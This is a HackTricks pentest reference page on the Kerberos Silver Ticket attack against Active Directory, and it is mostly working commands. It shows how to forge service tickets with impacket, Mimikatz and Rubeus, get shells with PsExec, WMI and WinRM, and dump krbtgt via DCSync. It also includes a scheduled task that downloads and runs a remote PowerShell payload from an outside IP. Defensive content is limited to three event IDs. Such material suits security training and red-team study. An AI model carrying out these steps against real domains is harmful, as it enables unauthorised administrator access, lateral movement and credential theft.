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https://github.com/carlospolop/hacktricks
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199 lines
10 KiB
Markdown
199 lines
10 KiB
Markdown
# Silver Ticket
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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{% hint style="danger" %}
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<img src="../../.gitbook/assets/image (1) (1) (1).png" alt="" data-size="original">
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If you are interested in **hacking carer** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
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{% embed url="https://www.stmcyber.com/careers" %}
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{% endhint %}
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## Silver ticket
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The Silver ticket attack is based on **crafting a valid TGS for a service once the NTLM hash of service is owned** (like the **PC account hash**). Thus, it is possible to **gain access to that service** by forging a custom TGS **as any user**.
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In this case, the NTLM **hash of a computer account** (which is kind of a user account in AD) is **owned**. Hence, it is possible to **craft** a **ticket** in order to **get into that machine** with **administrator** privileges through the SMB service. The computer accounts reset their passwords every 30 days by default.
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It also must be taken into account that it is possible AND **PREFERABLE** (opsec) to **forge tickets using the AES Kerberos keys (AES128 and AES256)**. To know how to generate an AES key read: [section 4.4 of MS-KILE](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-kile/936a4878-9462-4753-aac8-087cd3ca4625) or the [Get-KerberosAESKey.ps1](https://gist.github.com/Kevin-Robertson/9e0f8bfdbf4c1e694e6ff4197f0a4372).
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{% code title="Linux" %}
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```bash
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python ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park -spn cifs/labwws02.jurassic.park stegosaurus
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export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache
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python psexec.py jurassic.park/stegosaurus@labwws02.jurassic.park -k -no-pass
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```
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{% endcode %}
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In Windows, **Mimikatz** can be used to **craft** the **ticket**. Next, the ticket is **injected** with **Rubeus**, and finally a remote shell can be obtained thanks to **PsExec**.
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{% code title="Windows" %}
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```bash
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#Create the ticket
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mimikatz.exe "kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park"
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#Inject in memory using mimikatz or Rubeus
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mimikatz.exe "kerberos::ptt ticket.kirbi"
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.\Rubeus.exe ptt /ticket:ticket.kirbi
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#Obtain a shell
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.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
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#Example using aes key
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kerberos::golden /user:Administrator /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /target:labwws02.jurassic.park /service:cifs /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /ticket:srv2-cifs.kirbi
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```
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{% endcode %}
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The **CIFS** service is the one that allows you to **access the file system of the victim**. You can find other services here: [**https://adsecurity.org/?page\_id=183**](https://adsecurity.org/?page\_id=183)**.** For example, you can use the **HOST service** to create a _**schtask**_ in a computer. Then you can check if this has worked trying to list the tasks of the victim: `schtasks /S <hostname>` or you can use the **HOST and** **RPCSS service** to execute **WMI** queries in a computer, test it doing: `Get-WmiObject -Class win32_operatingsystem -ComputerName <hostname>`
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### Mitigation
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Silver ticket events ID (more stealth than golden ticket):
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* 4624: Account Logon
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* 4634: Account Logoff
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* 4672: Admin Logon
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[**More information about Silver Tickets in ired.team**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
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## Available Services
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| Service Type | Service Silver Tickets |
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| ------------------------------------------ | -------------------------------------------------------------------------- |
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| WMI | <p>HOST</p><p>RPCSS</p> |
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| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>Depending on OS also:</p><p>WSMAN</p><p>RPCSS</p> |
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| WinRM | <p>HOST</p><p>HTTP</p><p>In some occasions you can just ask for: WINRM</p> |
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| Scheduled Tasks | HOST |
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| Windows File Share, also psexec | CIFS |
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| LDAP operations, included DCSync | LDAP |
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| Windows Remote Server Administration Tools | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
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| Golden Tickets | krbtgt |
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Using **Rubeus** you may **ask for all** these tickets using the parameter:
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* `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
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## Abusing Service tickets
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In the following examples lets imagine that the ticket is retrieved impersonating the administrator account.
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### CIFS
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With this ticket you will be able to access the `C$` and `ADMIN$` folder via **SMB** (if they are exposed) and copy files to a part of the remote filesystem just doing something like:
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```bash
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dir \\vulnerable.computer\C$
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dir \\vulnerable.computer\ADMIN$
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copy afile.txt \\vulnerable.computer\C$\Windows\Temp
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```
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You will also be able to obtain a shell inside the host or execute arbitrary commands using **psexec**:
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{% content-ref url="../ntlm/psexec-and-winexec.md" %}
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[psexec-and-winexec.md](../ntlm/psexec-and-winexec.md)
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{% endcontent-ref %}
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### HOST
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With this permission you can generate scheduled tasks in remote computers and execute arbitrary commands:
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```bash
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#Check you have permissions to use schtasks over a remote server
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schtasks /S some.vuln.pc
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#Create scheduled task, first for exe execution, second for powershell reverse shell download
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schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
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schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
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#Check it was successfully created
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schtasks /query /S some.vuln.pc
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#Run created schtask now
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schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
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```
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### HOST + RPCSS
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With these tickets you can **execute WMI in the victim system**:
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```bash
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#Check you have enough privileges
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Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
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#Execute code
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Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"
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#You can also use wmic
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wmic remote.computer.local list full /format:list
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```
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Find **more information about wmiexec** in the following page:
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{% content-ref url="../ntlm/wmicexec.md" %}
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[wmicexec.md](../ntlm/wmicexec.md)
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{% endcontent-ref %}
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### HOST + WSMAN (WINRM)
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With winrm access over a computer you can **access it** and even get a PowerShell:
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```bash
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New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
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```
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Check the following page to learn **more ways to connect with a remote host using winrm**:
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{% content-ref url="../ntlm/winrm.md" %}
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[winrm.md](../ntlm/winrm.md)
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{% endcontent-ref %}
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{% hint style="warning" %}
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Note that **winrm must be active and listening** on the remote computer to access it.
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{% endhint %}
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### LDAP
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With this privilege you can dump the DC database using **DCSync**:
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```
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mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
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```
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**Learn more about DCSync** in the following page:
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{% content-ref url="dcsync.md" %}
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[dcsync.md](dcsync.md)
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{% endcontent-ref %}
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{% hint style="danger" %}
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<img src="../../.gitbook/assets/image (1) (1) (1).png" alt="" data-size="original">
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If you are interested in **hacking carer** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
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{% embed url="https://www.stmcyber.com/careers" %}
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{% endhint %}
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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|
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
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Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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